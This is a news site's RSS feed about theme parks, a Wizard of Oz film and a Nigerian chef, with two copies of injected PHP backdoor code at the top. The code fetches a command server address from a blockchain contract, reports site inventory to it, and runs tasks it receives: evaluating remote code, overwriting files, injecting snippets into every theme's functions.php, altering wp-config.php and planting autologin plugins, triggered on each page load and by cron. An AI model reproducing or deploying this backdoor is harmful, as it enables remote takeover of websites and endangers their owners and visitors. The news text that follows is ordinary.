// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Wizard – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 04 Nov 2018 17:07:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Wizard – Brief News https://briefnews.eu 32 32 Theme Park Bits: ‘Fantastic Beasts’ Wizard Wands, Meet Captain Marvel and Wreck-It Ralph, Tiki Bird Flies Solo https://briefnews.eu/theme-park-bits-fantastic-beasts-wizard-wands-meet-captain-marvel-and-wreck-it-ralph-tiki-bird-flies-solo/ https://briefnews.eu/theme-park-bits-fantastic-beasts-wizard-wands-meet-captain-marvel-and-wreck-it-ralph-tiki-bird-flies-solo/#respond Sun, 04 Nov 2018 17:07:27 +0000 http://briefnews.eu/theme-park-bits-fantastic-beasts-wizard-wands-meet-captain-marvel-and-wreck-it-ralph-tiki-bird-flies-solo/

In this edition of Theme Park Bits:

  • Double-time it to Universal if you want to add some new Fantastic Beasts wands to your collection.
  • Soon we’ll all be nursing a Halloween Horror Nights hangover as this year’s event comes to a close.
  • There’s no better time than a 25th anniversary to ride the Haunted Mansion Holiday at Disneyland.
  • Mark your TV calendars for a Christmas parade and preview of the new Cars attraction in Florida.
  • Captain Marvel and characters from Ralph Breaks the Internet have meet-and-greets on the way.
  • One talented tiki bird is about to spread her wings beyond Walt Disney’s Enchanted Tiki Room.
  • And more!

In both Universal Orlando Resort and Universal Studios Hollywood, new wands replicating the ones used by characters in Fantastic Beasts: The Crimes of Grindelwald are available till January at the Wizarding World of Harry Potter. As Inside Universal notes, these $ 46 wands are so detailed that the one for Newt Scamander “features bite marks and nicks, from his handling of magical creatures.”

In other Wizarding World news, a new gift shop simulating a travel agency for wizards, Globus Mundi, has opened in Diagon Alley at Universal Studios Florida. This is the place to go if you want to get tags for your luggage or other merchandise themed to Platform 9¾ and the Hogwarts Express.

Above, you can hear the latest speculation on the new Jurassic Park roller coaster that is rumored to be coming to Universal’s Islands of Adventure. Paleontologists taking a break from their fossil digs at Burger Digs and other resort restaurants will now be able to use the Mobile Express Pick Up service to order food at Universal Orlando.

By the time you read this, Halloween Horror Nights may already be over. The 2018 event ends this weekend, first at Universal Orlando on Saturday, November 3, then at Universal Studios Hollywood on Sunday, November 4. The final week saw Universal Orlando using some old-school “line pulsing” to usher guests into haunted houses in groups of 8 to 10 at a time. It also saw Universal Studios Hollywood giving guests a lights-on, jump-scare-free experience with its Stranger Things maze.

The great thing about The Nightmare Before Christmas is that the season for this movie carries over from Halloween into Christmas. Here on /Film this week, I wrote about the movie on its 25th anniversary.

So what’s the theme park connection? Well, if you’ve ever ridden the Haunted Mansion at Disneyland during the holidays, then you know that it involves a full ride makeover themed to The Nightmare Before Christmas. In the pre-show room with stretching portraits, a giant image of Jack Skellington’s face appears in the cupola overhead. In the graveyard scene toward the ride’s end, Jack can be seen dressed in a Santa outfit. Covered in white snow and glowing with orange jack-o-lanterns, the spiral hill Jack walked in the movie now dominates the graveyard scene. You can see all of that and more in the video below.

At the Magic Kingdom, a $ 99 ticket for Tony’s Most Merriest Town Square Party will allow you to “indulge in savory hors d’oeuvres,” eat sweets, drink beer and wine, and “have access to a special reserved viewing area for the truly enchanting Mickey’s Once Upon A Christmastime Parade as it makes its way down Main Street, U.S.A.” A ticket for Mickey’s Very Merry Christmas Party is also required.

Of course, you don’t necessarily have to be inside a Disney park to watch one of the Christmas parades. A Christmas Day park parade and a sneak peek of Lightning McQueen’s Racing Academy are just two of the things you can look forward to seeing on the upcoming Disney Parks holiday TV specials. Foodies don’t have to wait: they can feast their eyes on these festive wreath eclairs, and then jump right into the official foodie guides for the 2018 holiday season at Disneyland Resort and Disney California Adventure.

WDW News Today reports that Disney’s Minnie Van service is now making trips off Disney property to Cape Canaveral so that guests can take the Disney Cruise Line out of Port Canaveral. If you’re on one of the Marvel Day at Sea sailings in 2019, you’ll be among the first guests anywhere to meet Captain Marvel. Also available to meet at Disney parks on both coasts starting this month will be Ralph and Vanellope from Ralph Breaks the Internet.

At California Adventure, a moving version of Pixar’s lamp mascot, Luxo Jr., is now beaming atop the Pixar Pier marquee. Elsewhere in Anaheim, news came this week that one of the birds from the Enchanted Tiki Room, a cockatoo named Rosita, will be taking flight as a solo artist in the Tropical Hideaway at Disneyland. According to Disney Parks Blog, “Rosita has a repertoire of jokes and one-liners that would make any Jungle Cruise Skipper proud.”

The post Theme Park Bits: ‘Fantastic Beasts’ Wizard Wands, Meet Captain Marvel and Wreck-It Ralph, Tiki Bird Flies Solo appeared first on /Film.

]]> https://briefnews.eu/theme-park-bits-fantastic-beasts-wizard-wands-meet-captain-marvel-and-wreck-it-ralph-tiki-bird-flies-solo/feed/ 0 ‘The Wizard of Oz’ Animated Film Will Retell the Story From Toto’s Perspective https://briefnews.eu/the-wizard-of-oz-animated-film-will-retell-the-story-from-totos-perspective/ https://briefnews.eu/the-wizard-of-oz-animated-film-will-retell-the-story-from-totos-perspective/#respond Tue, 17 Jul 2018 10:08:44 +0000 http://briefnews.eu/the-wizard-of-oz-animated-film-will-retell-the-story-from-totos-perspective/ the wizard of oz animated

Ever watched The Wizard of Oz and thought: this could be better if it was told entirely from the perspective of Dorothy’s dog, Toto? Well you’re in luck because Warner Bros. is developing an animated film based on Michael Morpurgo‘s children’s book Toto: The Dog-Gone Amazing Story of the Wizard of Oz. Because let’s be honest, we could all do with some more good dogs in our lives.

Warner Bros. is developing a Wizard of Oz animated film that will retell the classic 1939 film from the perspective of Toto, the Cairn terrier who accompanied Judy Garland’s Dorothy on a whirlwind trip through the fantastical land of Oz. Titled Toto, the animated film will be penned by Mark Burton (Early Man, Shaun the Sheep, Wallace and Gromit: The Curse of the Were-Rabbit).

The Hollywood Reporter first reported the film, which is still in pre-production.

It’s unknown if the animated film will be drawn in the style of Emma Chichester Clark’s illustrations for the children’s book, but it will feature a talking Toto. No director has yet been attached to the film.

Here is the synopsis for Morpurgo’s children’s book, Toto: The Dog-Gone Amazing Story of the Wizard of Oz:

From master storyteller MICHAEL MORPURGO, and illustrated in stunning colour by the award-winning EMMA CHICHESTER CLARK, comes a surprising, charming and uplifting twist on The Wizard of Oz, told by a very special and unforgettable character: Dorothy’s pet dog, Toto. A perfect, collectible gift for all children (and children at heart). “I was there,” Papa Toto said, and those magic words sent shivers down my spine. It was going to be the Wizard story. “Dorothy and me were both there.”We were all silent, snuggled up together, waiting, waiting.Then Papa Toto began… When a twister descends on their Kansas farm, Toto and his owner Dorothy hide in the house – only to be plucked into the air and whisked away! Coming down with a crash in the mysterious land of Oz, the pair meet a series of extraordinary characters: a scarecrow who believes he has no brains, a tin man without a heart, and a cowardly lion who may not be as cowardly as he thinks he is. But Toto and Dorothy are desperate to return home – after all, home is home, and home is best! So they set off with their new friends on a journey down the yellow brick road to find the only person who might be able to help them: the Wonderful Wizard of Oz. But what they find might surprise them. And on the way, all of them will learn that what they think they are missing might have been there, all along…
So with a talking Toto, we can now complete the trilogy of childhood icons given an unsettling voice and weirdly mature personality in a major motion picture (Detective Pikachu and Sonic). But I wonder if Warner Bros. will add the clever twist of making Toto completely black and white — as a nod to the 1939 classic film and the fact that dogs are, you know, color blind.

The post ‘The Wizard of Oz’ Animated Film Will Retell the Story From Toto’s Perspective appeared first on /Film.

]]> https://briefnews.eu/the-wizard-of-oz-animated-film-will-retell-the-story-from-totos-perspective/feed/ 0 This Nigerian Chef Is a Culinary Wizard of Oz https://briefnews.eu/this-nigerian-chef-is-a-culinary-wizard-of-oz/ https://briefnews.eu/this-nigerian-chef-is-a-culinary-wizard-of-oz/#respond Fri, 13 Apr 2018 05:10:47 +0000 http://briefnews.eu/this-nigerian-chef-is-a-culinary-wizard-of-oz/

Ozoz Sokoh turned to food blogging in 2009 as a way to relieve a creeping malaise that was short-circuiting her pursuit of happiness. A geologist living in the Wassenaar, on the western coast of the Netherlands, she was struggling at work and in her quest to find personal purpose. Known for her energy and passion — even for the small things like artful snapshots of her culinary creations — she suddenly felt inert.

“I was also incredibly homesick,” the 40-year-old (who goes by Oz) remembers. “So I began to write as a way to find meaning.” She recorded as she went, documenting new flavors and techniques — from other cuisines as well as Nigerian recipes — “especially the tricky ones like moi moi [bean pudding] and akara [bean cakes], where ratios are key to success.”

Today, Sokoh is back in her native country, where she has become one of Nigeria’s most recognizable chefs, a food photographer and blogger known to her fans as the Kitchen Butterfly — a moniker, she explains, that mirrors her transformation and her love of color, reflected in her dishes, dresses and scarves.

Some people get really outraged. They see my exploration as oversabi [overzealous].

Ozoz Sokoh, aka the Kitchen Butterfly

